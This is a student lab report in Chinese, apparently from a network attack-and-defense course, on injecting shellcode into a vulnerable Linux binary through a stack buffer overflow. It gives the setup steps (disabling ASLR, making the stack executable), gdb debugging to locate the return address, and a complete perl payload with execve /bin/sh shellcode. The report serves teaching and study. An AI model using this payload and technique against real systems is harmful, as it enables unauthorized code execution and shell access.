20145335郝昊《网络攻防》Bof逆向基础——ShellCode注入与执行

实验原理

  • 关于ShellCode:ShellCode是一段代码,作为数据发送给受攻击服务器,是溢出程序和蠕虫病毒的核心,一般可以获取权限。我们将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢出漏洞,覆盖成为指向ShellCode的地址。

  • Linux中两种基本构造攻击buf:retaddr+nop+shellcodenop+shellcode+retaddr,缓冲区小就把shellcode放后面,若缓冲区较大把缓冲区放置前边。

实验目的与要求

  • 本次实践对象是一个名为pwn1的可执行文件。

  • 对可执行文件pwn1进行操作,注入并运行任意代码。

实验过程及结果

  • 写一段shellcode代码(本次实验采用老师的代码)
  • 设置环境,手动安装execstack
  • 拷贝并运行pwn1文件确保可以使用

  • 设置堆栈可执行
  • 关闭地址随机化,more/proc/sys/kernel/randomizevaspace用来查询地址随机化是否开启或者关闭的状态,2表示开启,0表示关闭。

  • 构造payload,采用nop+shellcode+retaddr方式(\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置,需要将它改为shellcode的地址)

  • 打开一个新的terminal,注入攻击注入攻击buf(注意回车要在设置断点后进行,否则无法确认进程号,并且要在gdb执行c前回车

-用GDB调试20145335hh1进程,找到进程3400,用attach追踪

  • 启动gdb调试进程,设置断点,查看注入 buf的内存地址

  • 此时发现0x080484ae ret 就跳到我们覆盖的retaddr那个地方了

  • 设置断点后,在另一个终端按下回车,并寻找返回地址,看到01020304表示返回地址的位置是0xffffd31c,shellcode就紧挨着这个地址,加四字节为0xffffd320

  • 退出gdb,按照anything+retaddr+nops+shellcode修改input_shellcode如下打印字母'H',完成实验。

心得体会

本次实验老师在课堂上也有讲到过,但是在自己实验过程中还是遇到问题,比如在最后一步输入命令的时候遇到了问题,在命令perl -e 'print "H" x 32;print "\x20\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode和命令(cat input_shellcode;cat) | ./20145335hh1时候两个shellcode输入错误,导致修改的是一段代码,注入又是另一段代码导致最后结果出现了问题,及时更正了过来完成了实验

20145335郝昊《网络攻防》Bof逆向基础——ShellCode注入与执行的更多相关文章

  1. 20145231熊梓宏 《网络对抗》 Bof逆向基础.shellcode注入

    20145231网络对抗<逆向及Bof基础>shellcode注入 实验目的与要求 1.本次实践的对象是一个名为pwn1的linux可执行文件. 2.若该程序正常执行,则main函数会调用 ...

  2. 20145335郝昊《网络对抗》逆向及Bof基础实践

    20145335郝昊<网络对抗>逆向及Bof基础实践 1.实践说明 本次实践是对一个名为pwn1的可执行Linux文件进行操作.程序的执行流程是:主函数main调用foo函数,foo将函数 ...

  3. 20145335郝昊《网络攻防》Exp9 Web安全基础实践

    20145335郝昊<网络攻防>Exp9 Web安全基础实践 实验内容 理解常用网络攻击技术的基本原理. 完成WebGoat实践下相关实验 实验步骤 XSS注入攻击 Phishing wi ...

  4. 20145335郝昊《网络攻防》Exp4 Msf基础

    20145335郝昊<网络攻防>Exp4 Msf基础 实验内容 掌握metasploit的基本应用方式,掌握常用的三种攻击方式的思路. 一个主动攻击,如ms08_067; 一个针对浏览器的 ...

  5. 20145335郝昊《网络对抗》Exp 8 Web基础

    20145335郝昊<网络对抗>Exp 8 Web基础 实验内容 本实践的具体要求有: Web前端HTML:能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法, ...

  6. 20145335郝昊《网络攻防》Exp7 网络欺诈技术防范

    20145335郝昊<网络攻防>Exp7 网络欺诈技术防范 实验内容 本次实践本实践的目标理解常用网络欺诈背后的原理,以提高防范意识,并提出具体防范方法. 简单应用SET工具建立冒名网站. ...

  7. 20145335郝昊《网络攻防》Exp4 Adobe阅读器漏洞攻击

    20145335郝昊<网络攻防>Exp4 Adobe阅读器漏洞攻击 实验内容 初步掌握平台matesploit的使用 有了初步完成渗透操作的思路 本次攻击对象为:windows xp sp ...

  8. 20145335郝昊《网络攻防》Exp 4 利用nmap扫描

    20145335郝昊<网络攻防>Exp 4 利用nmap扫描 实验原理 使用msf辅助模块,nmap来扫描发现局域网中的主机ip 实验步骤 首先使用命令创建一个msf所需的数据库 serv ...

  9. 20145335郝昊《网络攻防》Exp4 MS11_050

    20145335郝昊<网络攻防>Exp4 MS11_050 实验内容 初步掌握平台matesploit的使用 了解漏洞MS11_050漏洞:use-after-free漏洞,即对象被释放之 ...

随机推荐

  1. 宏(define)与常量(const)

    http://mp.weixin.qq.com/s?__biz=MzAxMzE2Mjc2Ng==&mid=402470669&idx=1&sn=e34db91190d8d46f ...

  2. 在Win64系统上动态加载无签名驱动:WIN64LUD

    1.WIN64LUD的全称是WIN64 Load Unsigned Driver,功能如其名,在WIN64系统上加载无签名的驱动. 2.支持Windows 7/8/8.1/2008R2/2012/20 ...

  3. 【CSS系列】图像映射

    <!DOCTYPE html > <html xmlns="http://www.w3.org/1999/xhtml"> <head> < ...

  4. 从TCP三次握手说起–浅析TCP协议中的疑难杂症(2)

    版权声明:本文由黄日成原创文章,转载请注明出处: 文章原文链接:https://www.qcloud.com/community/article/108 来源:腾云阁 https://www.qclo ...

  5. 单机器启动多个tomcat的配置修改

    首先去apache下载一个tomcat,下载解压版的,比较方便   把这个tomcat(我下载的是tomcat7版本),解压两次,为了方便显示,我把解压出来的tomcat重命名成tomcat71和to ...

  6. 170714、springboot编程之多数据源切换(动态)

    (1)新建maven java project; 新建一个maven project,取名为:spring-boot-multi-ds (2)在pom.xml添加依赖包: 在pom.xml文件中加入依 ...

  7. SpringCloud--Ribbon负载均衡

    Ribbon实现客户端负载均衡 负载均衡:是对系统的高可用.网络压力的缓解和处理能力扩容的重要手段之一. 硬件负载均衡:主要通过在服务器节点之间安装专门用于负载均衡的设备: 软件负载均衡:通过在服务器 ...

  8. 表空间Tablespace

    SQL Fundamentals: 表的创建和管理(表的基本操作,闪回技术flashback,表结构修改) Oracle Schema Objects——Tables——TableStorage 数据 ...

  9. 使用google字体发生http://fonts.gstatic.com/s/ubuntu/v8/_aijTyevf54tkVDLy-dlnFtXRa8TVwTICgirnJhmVJw.woff2

    我在使用adminTLE后台模板时,有时候会有 http://fonts.gstatic.com/s/ubuntu/v8/_aijTyevf54tkVDLy-dlnFtXRa8TVwTICgirnJh ...

  10. 自旋锁原理及java自旋锁

    一.自旋锁的概念 首先是一种锁,与互斥锁相似,基本作用是用于线程(进程)之间的同步.与普通锁不同的是,一个线程A在获得普通锁后,如果再有线程B试图获取锁,那么这个线程B将会挂起(阻塞):试想下,如果两 ...